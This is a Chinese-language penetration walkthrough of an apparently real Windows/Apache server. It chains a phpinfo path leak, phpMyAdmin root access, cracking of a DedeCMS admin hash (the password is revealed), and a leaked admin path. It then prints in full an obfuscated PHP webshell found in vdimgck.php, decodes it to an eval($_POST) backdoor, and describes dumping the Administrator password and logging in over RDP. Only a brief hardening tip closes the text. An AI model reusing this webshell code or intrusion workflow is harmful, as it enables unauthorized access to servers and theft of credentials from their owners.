在phpmyadmin漏洞与利用专题中,我们从多个角度介绍了如何获取webshell并获取服务器权限的案例和情形,但在实际渗透过程中还有一种情况,即服务器上存在phpMyAdmin,且获取了root帐号和密码,但无法执行load_file或者说无法导出webshell到服务器上,在这种情况下就需要充分利用既有CMS漏洞,通过CMS漏洞来获取webshell。目前使用流行架构,特别是一键式部署的系统,大多使用通过CMS,例如Dedecms等,这些CMS系统大多存在漏洞。
将IP地址175.***.*.211放在yougetsignal 网站进行域名反查(http://www.yougetsignal.com/tools/web-sites-on-web-server/)获取该IP下存在域名,**********.com.cn、wap.**********.com.cn、www.**********.com.cn、www.***-******.com、www.***-******.com.cn,如图1所示。也可使使用C段自动查询工具进行查询,例如在https://phpinfo.me/bing.php中输入IP地址进行查询。存在网站http://wap.**********.com.cn/、http://www.**********.com.cn/,如图2所示。两者相比较第一个网站的数据收集较为齐全,但第二个网站可以进行C段域名查询。
直接在浏览器中访问该IP地址,存在列目录漏洞,通过phpinfo直接获取真实路径地址,通过该页面的信息,还可以判断服务器是Windows+Apache+Mysql+php架构。且为phpstudy安装的可能性极高。通过175.***.*.211/phpinfo.php网页的DOCUMENT_ROOT函数可以获取网站安装的真实路径C:/phpsd/WWW/,如图3所示。
使用后去的root密码通过phpmyadmin登录后台,如图4所示,登录后台后选择mysql表,然后执行以导出一句话后门代码,查询结果显示成功,但通过刷新网页并没有获取想要的结果,后面继续尝试不同的路径,结果还是没有成功。
通过PhpMyAdmin查看数据库mouth_admin获取CMS系统管理员表mouth_admin表中admin的密码值a453adb3c3f5630dd492,如图5所示,明显为dedecms系统加密方法,密码哈希值为20位,去掉前三位和最后一位,获取md5值为3adb3c3f5630dd49,经cmd5.com查询获取其密码为mouthzt。
mysql_error_trace.inc 文件访问时会爆出网站的真实后台管理地址,直接在浏览器中访问地址http://www.***-******.com/data/mysql_error_trace.inc,获取后台管理地址为mouthzt如图6所示。使用上面获取的admin的密码登录后台地址http://www.***-******.com/mouthzt成功进入,如图7所示。
通过后台的文件样式管理,直接浏览上传的文件,在其中发现存在vdimgck.php,通过编辑该文件,如图8所示,发现该文件存在代码:
<?php[/align]$xN = $xN.substr("iyb42str_relgP804",5,6);通过对以上代码进行解码,比较笨的方法就是在每一行分别打印变量,也即加入
$lvcg = str_split("muk9aw28wltcq",6);
$xN = $xN.substr("l9cdplacepArBE9dk",4,5);
$jl = stripos("epxwkl7f66tfkt","jl");
$t = $t.substr("tQGV2YWwJcVu4",1,6);
$eia7 = trim("j8l2wml46reen");
$b = $b.substr("kbase64kBDt9L6nm",1,6);
$ig = trim("b39w0gnuli");
$y = $y.$xN("rY","","crYrerYa");
$yu1 = str_split("bi1b87m8a0o6x",2);
$t = $t.$xN("xA6x","","wxA6xoJF9");
$nd = stripos("n65t88rxn02edj3f0","nd");
$b = $b.$xN("wI39","","_wI39dwI39ec");
$h8ps = str_split("kn9j9h4mhwgf3fjip",3);
$y = $y.substr("hyte_funwViSVE4J",2,6);
$yf7 = strlen("uehu49g6tg5ko");
$t = $t.$xN("fp","","QfpTfp1Nfp");
$m9 = strlen("eul604cobk");
$b = $b.substr("l0W1odelA1eSnEJ",4,3);
$h0bw = trim("n3e5h0cqtokvgob8tx");
$y = $y.$xN("yb","","cybtio");
$s7a = rtrim("auebyc9g4t5d8k");
$t = $t.substr("bMs0nBh83UWyd",9,4);
$d59q = stripos("cjvuckoy5wf3otea","d59q");
$y = $y.substr("nD9HxQSL8ngR",9,1);
$l1 = str_split("agqq09gbqn1",4);
$t = $t.$xN("w6o4","","wcDw6o4Yw6o40");
$py = stripos("lgy8htrrv1tc3","py");
$t = $t.$xN("eP32","","bXFeP32h");
$xp3d = stripos("ukl0nbnx9gt3","xp3d");
$t = $t.substr("ikJ00HJMngxc",7,5);
$dt2b = strlen("e4a5abuajw3vlcira");
$t = $t.substr("cdN1Kxem53NwmEh86BS",7,4);
$ubj = strlen("wghjnft2op5kx1c086t");
$t = $t.substr("m4aoxdujgnXSkcxL4FWcYd",7,6);
$qx = strlen("rlqfkkftro8gfko7ya");
$t = $t.substr("r7y",1,1);
$mu = rtrim("ngdxwux5vqe1");
$j = $y("", $b($t));
$bnlp = strlen("vufy0ak1fyav");
$sdh = str_split("wmnjvg3c7p0m",4);
$mb = ltrim("n52p1pgaepeokf");
$e0pw = rtrim("uu4mhgp5c9pna4egq");
$ugh = trim("rcpd3o9w99tio9");
$grck = strlen("x5rix5bp1xky7");
$eo6t = strlen("ddi1h14ecuyuc7d");$j();
$dvnq = str_split("prm6giha1vro3604au",8);
$ug8 = rtrim("ec8w52supb4vu8eo");
$rct = stripos("hxe6wo7ewd8me7dt","rct");
$ekqf = str_split("prf5y08e8flffw025j8",8);
$vyr = str_split("umpjcsrfg6h5nd6o45",9);
$wrf = rtrim("fyx99o7938h7ugqh");
$q14 = strlen("tc46osxl1st1ic2");
function o( ){ };
$usf = strlen("fltcpxb7tfbjsmt");
?>
QGV2YWwoJF9QT1NUWydwcDY0bXFhMngxcm53NjgnXSk7base64解码后为:@eval($_POST['pp64mqa2x1rnw68']);
7.获取系统管理员密码
在本案例中由于系统采用apache架构,因此是系统权限的可能性极大,通过大马直接上传密码获取工具,获取明文密码,如图11所示。Administrator 帐号的密码为55**996,使用该密码成功登录3389终端,如图12所示。
加强密码安全,去掉无用的测试信息页面,root和admin密码设置为15位以上。